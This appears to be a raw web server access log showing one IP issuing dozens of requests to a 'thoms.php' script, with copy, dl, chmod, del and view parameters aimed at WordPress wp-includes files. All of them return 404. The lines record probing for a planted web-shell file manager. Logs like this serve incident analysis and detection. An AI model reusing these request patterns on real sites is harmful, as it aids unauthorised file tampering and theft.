45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?dl=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?chmod=embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?del=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?chmod=functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Flocale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Flocale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwidgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwidgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-phpass.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-phpass.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?dl=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?dl=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsitemaps.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsitemaps.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?chmod=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?del=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:30 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?chmod=feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ferror-protection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ferror-protection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=plugin.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmeta.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmeta.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?del=query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?dl=capabilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:31 -0400] "GET /thoms.php?chmod=class-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
